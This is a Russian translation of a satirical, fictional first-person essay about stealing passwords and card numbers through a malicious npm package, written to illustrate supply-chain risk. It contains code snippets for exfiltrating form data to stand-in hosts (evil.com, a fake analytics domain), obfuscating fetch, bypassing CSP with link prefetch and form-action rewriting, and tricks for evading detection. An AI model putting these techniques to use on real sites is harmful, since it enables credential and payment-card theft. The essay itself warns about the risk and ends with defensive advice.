«Я краду ваши пароли и номера кредиток. И я расскажу, как»

npm

Мы перевели статью, в которой человек описывает, как можно воровать данные пользователей с различных сайтов на протяжении нескольких лет, оставаясь незамеченным.

Рассказывает Дэвид Гилбертсон, веб-разработчик и автор на Hacker Noon.

Моя история — чистая правда. Ну, или почти. А может и неправда.

Выдалась безумная неделя в сфере безопасности — казалось, каждый день появляется новая уязвимость. Мне было сложно делать вид, будто я понимаю, что происходит, когда меня спрашивали об этом мои близкие. Я видел, что они взволнованы одной перспективой быть взломанными, и это меня вдохновило.

С тяжелым сердцем я решил рассказать вам правду о том, как я крал имена пользователей, пароли и номера кредитных карт с ваших сайтов в течение последних нескольких лет.

Как это работает?

Сам по себе вредоносный код очень простой, лучше всего он работает на страницах, которые удовлетворяют следующим критериям:

  • На странице есть тег <form>;
  • На странице можно найти элемент со свойством input[type=«password»], name=«cardnumber», name=«cvc» или чем-то подобным;
  • Страница содержит слова вроде «credit card», «checkout», «login», «password» и т.д.

Затем при возникновении события blur у поля для ввода пароля, или номера кредитной карты, или при возникновении события submit формы, мой код:

  • Собирает данные со всех полей форм (document.forms.forEach(…)) на странице;
  • Собирает document.cookie;
  • Превращает всё это в случайную на вид строку const payload = btoa(JSON.stringify(sensitiveUserData));
  • Затем отправляет результат на https://legit-analytics.com?q=${payload} (адрес, конечно, выдуманный).

Короче говоря, если похоже, что данные могут хоть как-то мне пригодиться, я отправляю их на мой сервер.

Конечно, когда я только написал этот код, в 2015-ом, на моём компьютере от него не было пользы. Я должен был выпустить его во внешний мир. Прямиком на ваши сайты.

Как однажды сказали в Google:

Если атакующий успешно внедрил куда-либо свой код — всё, песенка спета.

Так как же распространять подобный код? У XSS не те масштабы, да и защита от него есть. Расширения Chrome слишком ограничены.

К счастью для меня, мы живем в эпоху, когда люди устанавливают npm-пакеты направо и налево, не задумываясь.

Итак, я выбрал npm моим методом распространения. Мне нужно было придумать какой-нибудь минимально полезный пакет, который люди установили бы, не подумав, — мой троянский конь.

Люди любят симпатичные цвета — это то, что отличает нас от собак, — поэтому я написал пакет, который позволяет выводить данные в консоль в любом цвете:

npm
Вот код, если вам интересно.

Я был взволнован в этот момент — у меня был убедительный пакет, но я не хотел ждать, пока люди медленно узнавали и рассказывали о нём. Поэтому я приступил к созданию пулл-реквестов для существующих пакетов, которые добавили бы мой пакет к их зависимостям.

Я сделал несколько сотен реквестов (разные учетные записи и, нет, ни один из них не раскрывал моего имени) для различных фронтенд-пакетов и их зависимостей. «Эй, я исправил проблему X, а также добавил логирование».

Смотри, мам, я вношу вклад в open-source!

Было много разумных людей, которые говорили мне, что они не хотят очередной зависимости, но тут всё решает количество.

В целом моя кампания имела большой успех: теперь 23 пакета напрямую зависели от моего творения. От одного из этих пакетов зависел довольно популярный пакет — моя дойная корова. Не буду приводить названий, но такие вот распространённые пакеты — это именно то, что мне было нужно.

И это — только один пакет. У меня ещё 6 на подходе.

И вот, у меня около 120 000 загрузок в месяц, и я с гордостью мог сказать, что мой вредоносный код ежедневно выполняется на тысячах сайтов, включая несколько сайтов из списка Alexa Top 1000, отправляя мне реки имён пользователей, паролей и деталей кредитных карт.

Вспоминая эти золотые годы, я не могу поверить, что люди тратят столько сил на возню с XSS, чтобы просто внедрить код на один сайт. Сами того не желая, мои друзья веб-разработчики помогают мне с лёгкостью внедрять вредоносный код на тысячи сайтов.

А теперь поговорим о ваших замечаниях, которые у вас, возможно, накопились.

Я бы заметил исходящие сетевые запросы!

Где бы вы их заметили? Мой код ничего не отправляет, пока открыты инструменты разработчика (да, даже если соответствующая панель откреплена от основного окна).

Я называю это манёвром Гейзенберга: пытаясь наблюдать за поведением моего кода, вы меняете его поведение.

Также программа незаметна на локальном хосте, или любом IP-адресе, или когда имя домена содержит слова dev, test, qa, uat или staging (окружённые символами границ слов \b).

Наши пентестеры заметили бы это в их инструментах по мониторингу HTTP-запросов!

Когда они работают? Мой код ничего не посылает между семью утра и семью вечера. Это уполовинивает мою добычу, зато и шансы быть пойманным уменьшаются на 95 %.

И ваши учётные данные нужны мне только раз. Поэтому после того, как я получил данные с устройства, я делаю об этом запись (локальное хранилище и куки) и больше ничего не отправляю с этого устройства. Репликация мне ни к чему.

Даже если какой-нибудь прилежный пентестер постоянно чистит куки и локальное хранилище, я отправляю данные лишь периодически, внося в это определённую долю случайности. Отправка данных производится один раз на примерно семь сеансов ввода данных — идеальная частота возникновения подозрительного события, которая позволяет свести с ума того, кто ищет уязвимости.

Кроме того, URL очень похож на сотни других запросов к рекламным сетям, которые отправляет ваш сайт.

Суть в том, что если вы чего-то не видите, это не значит, что этого не происходит. Прошло более двух лет, и, насколько я знаю, никто ещё не заметил ни один из моих запросов. Возможно, мой код работал именно на вашем сайте всё это время 🙂

Забавный факт. Когда я просматривал все пароли и номера кредитных карт, которые я собрал, и готовил их для продажи в даркнете, мне приходилось искать мои собственные данные на случай, если я попал под свою же атаку. Не очень-то и весело!

Я бы всё увидел в твоих исходниках на GitHub!

Ваша невинность согревает моё сердце.

Но я боюсь, что нет ничего невозможного в том, чтобы отправить одну версию кода в GitHub и другую — в npm.

В моём package.json я задал свойство files так, что оно указывает на директорию lib, содержащую минифицированный и изменённый до неузнаваемости вредоносный код, который будет отправлен в npm через npm publish. Но директория lib находится в моём .gitignore , поэтому она никогда не попадёт на GitHub. Это довольно распространённая практика, так что у вас даже не возникнет никаких подозрений при просмотре файлов на GitHub.

Это не проблема npm, даже если я не отправляю разный код в npm и GitHub, кто может утверждать, что то, что вы видите в /lib/package.min.js, является реальным результатом минификации /src/package.js?

Так что нет, вы не найдёте мой вредоносный код где-либо на GitHub.

Я просмотрел весь минифицированный код в node_modules!

Итак, сейчас вы просто ищете недостатки в моей схеме кражи данных с сайтов. Но, возможно, вы думаете, что можете написать нечто умное, автоматически проверяющее код на что-нибудь подозрительное.

Вы всё равно не найдёте ничего подозрительного в моих исходниках, в них нигде нет слова fetch, или XMLHttpRequest, или домена, на который я всё отправляю. Вот как выглядит мой код:

const i = 'gfudi';
const k = s => s.split('').map(c => String.fromCharCode(c.charCodeAt() - 1)).join('');
self[k(i)](urlWithYourPreciousData);

Строка «gfudi» — это всего лишь слово «fetch», в котором буквы заменены каждая на следующую за ней по алфавиту. А self — всего лишь псевдоним для window.

А вот ещё один причудливый способ написать fetch(...):
self['\u0066\u0065\u0074\u0063\u0068'](...)

Иными словами, у вас нет ни шанса обнаружить подобные проделки в обфусцированном коде.

С учётом сказанного, я должен отметить, что на самом деле не использую ничего такого скучного, как fetch. Я предпочитаю использовать new EventSource(urlWithYourPreciousData) везде, где это возможно. Таким образом, даже если вы параноик и отслеживаете исходящие запросы, используя serviceWorker для отслеживания событий fetch, я проскользну мимо. Я просто не отправляю ничего из браузеров, которые поддерживают serviceWorker, и не поддерживают EventSource.

У меня есть политика защиты контента!

Ох, вот уж неожиданность. И кто вам сказал, что политика защиты контента (Content Security Policy, CSP) помешает вредоносному коду отправлять данные на какой-то левый домен? Я не люблю быть вестником плохих новостей, но следующие четыре строки кода обойдут даже строжайшую CSP:

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

В более ранней версии этого поста я сказал, что продуманная CSP защитила бы вас, цитирую: «на 100%». К сожалению, 130 тыс. человек прочитало это прежде, чем я узнал о вышеописанном трюке. Поэтому отсюда можно извлечь урок: нельзя доверять никому и ничему в Интернете.

Но CSP не совсем бесполезные. Приведённый выше пример работает только в Chrome, и хорошая CSP, возможно, не даст мне провернуть то же самое в некоторых менее распространённых браузерах.

Если вы ещё не в курсе, то CSP может попытаться ограничить исходящие из браузера запросы. Часто о таких политиках говорят как о наборе правил, позволяющих ограничить то, что может поступить в браузер. Но вы можете также подумать, что CSP — это и средство защиты того, что из браузера может быть отправлено (когда я «отправляю» пароли ваших пользователей на мой сервер — это всего лишь параметр в GET-запросе).

В случае если я не могу получить данные с использованием своего трюка, CSP сильно мешают моей кампании по сбору номеров кредитных карт. И не только потому, что они вторгаются в мои гнусные планы.

Понимаете, если я попытаюсь отправить данные с сайта с CSP, она может сообщить владельцу о моей неудавшейся попытке (если они задали report-uri). В конечном итоге они отследили бы её до моего кода и, вероятно, позвонили бы моей маме, и тогда у меня были бы большие неприятности.

Поскольку я не хочу привлекать к себе внимание (кроме случаев, когда я на танцполе), я проверяю вашу CSP, прежде чем пытаться что-то отправить.

Для этого я делаю ложный запрос к текущей странице и читаю заголовки.


fetch(document.location.href)
.then(resp => {
  const csp = resp.headers.get('Content-Security-Policy');
  // Есть ли CSP и насколько она реально работает?
});

На этом этапе я могу искать дыры в вашей CSP. Удивительно, что страница входа в систему Google имеет плохую CSP, которая позволит мне легко перехватить ваш логин и пароль, если бы мой код работал на этой странице. Они не предусмотрели установку connect-src и, кроме того, не задали «универсальный перехватчик» default-src, поэтому я могу отправлять ваши учётные данные куда мне заблагорассудится.

Если вы пришлёте мне по почте 10 долларов, я расскажу вам, работает ли мой код на странице входа в систему Google.

У Amazon вообще нет CSP на странице, где вы вводите номер своей кредитной карты, с eBay та же ситуация.

Twitter и PayPal имеют CSP, но получить ваши данные всё ещё проще некуда. Эти двое совершили ту же ошибку, и это, вероятно, признак того, что и другие не стали исключением. На первый взгляд, всё выглядит довольно основательно, оба они задали default-src, как и должны были. Но вот в чём загвоздка: перехватчик перехватывает не всё. Они не заблокировали form-action.

Итак, когда я проверяю вашу CSP (и делаю это дважды), если всё, кроме form-action, заблокировано, я просто беру и меняю значение атрибута action (в том месте, где данные отправляются на сервер при нажатии «войти») во всех ваших формах.

Array.from(document.forms).forEach(formEl => formEl.action = `//evil.com/bounce-form`);

Вот и всё. Спасибо, что отправил мне свой логин и пароль от PayPal, приятель. Я пришлю тебе благодарственную открытку с фотографией всего, что я купил на твои деньги.

Естественно, я выполняю такой трюк лишь один раз на одном устройстве и отправляю пользователя прямо на соответствующую страницу, когда он пожимает плечами и пробует воспользоваться формой снова.

К слову, используя этот метод, я взломал аккаунт Трампа в Твиттере и начал постить разную ерунду. Пока никто не заметил.

А вот теперь я обеспокоен, что я могу сделать?

Вариант первый:

npm

Здесь вы будете в безопасности.

Вариант второй:

На каждой странице, которая собирает любые данные, которые вы хотите защитить от меня (или от моих товарищей-хакеров), не используйте модули npm. То же самое касается Google Tag Manager, или кода рекламных сетей, или аналитических скриптов, иными словами — никакого чужого кода.

Как советуют здесь, вы можете использовать простые отдельные страницы для целей входа в систему и ввода номеров кредитных карт, которые выводятся с помощью iFrame.

При этом все остальные части страницы вроде шапок, подвалов и блоков навигации, могут работать на старом добром React, где подключены 138 npm-пакетов. Однако, та часть страницы, на которой пользователь вводит данные, должна работать в отдельном iFrame, в котором, если вы хотите проверять какие-то данные на стороне клиента, должен выполняться только JavaScript-код, написанный вами собственноручно (и, позволю дать рекомендацию, не минифицированный).

Скоро я опубликую отчёт за 2017-ый год, где объявлю свой доход, полученный от кражи номеров кредитных карт и продажи их всяким гангстерам в клёвых шляпах. Закон требует, чтобы я раскрыл список сайтов, с которых я собрал больше всего номеров кредитных карт. Может быть, среди них окажется и ваш сайт?

Я человек добродушный, поэтому любой из списка, кто успешно заблокировал мои попытки по сбору данных до 12-ого января, будет избавлен от публичного позора.

Поговорим серьёзно

Я знаю, что мой безжалостный сарказм кому-то, может быть, трудно понять. Например, людям, которым не хватает чувства юмора. Поэтому, просто чтобы расставить все точки над i, хочу сказать, что я не создавал npm-пакет, который крадёт информацию с сайтов. Этот пост полностью вымышленный, но, тем не менее, вполне правдоподобный и, надеюсь, немного образовательный. Хотя всё это — лишь моя фантазия, меня беспокоит то, что это довольно легко реализуемо.

В мире достаточно умных, но нечистых на руку людей, кроме того, существует около 400 000 npm-пакетов. Мне кажется, что высока вероятность того, что как минимум в одном из них может встретиться вредоносный код, и, если этот код написан хорошо, вы об этом никогда не узнаете.

Проведём один интересный мысленный эксперимент. На прошлой неделе я написал npm-пакет, небольшую функцию плавности. Этот пакет не имеет никакого отношения к моему сегодняшнему рассказу, и я даю слово джентльмена, что в нём нет ничего вредоносного. Насколько сильно вы будете нервничать, подключая этот пакет к своему сайту?

Итоги

Итак, в чём смысл подобного поста? Заявить всем, что они неудачники и их легко обмануть?

Вовсе нет (вообще я хотел начать с этого, но потом понял, что я не лучше).

Моя цель (как оказалось) заключается в том, чтобы указать на то, что любой сайт, содержащий сторонний код, чрезвычайно уязвим. Причём, его уязвимости практически нереально обнаружить.

Перевод статьи «I’m harvesting credit card numbers and passwords from your site. Here’s how.»

Ещё интересное для вас:
Тест: что вы знаете о работе мозга?
Базовый чек-лист по SEO перед сдачей сайта заказчику
Что посмотреть и куда сходить разработчку — ближайшие события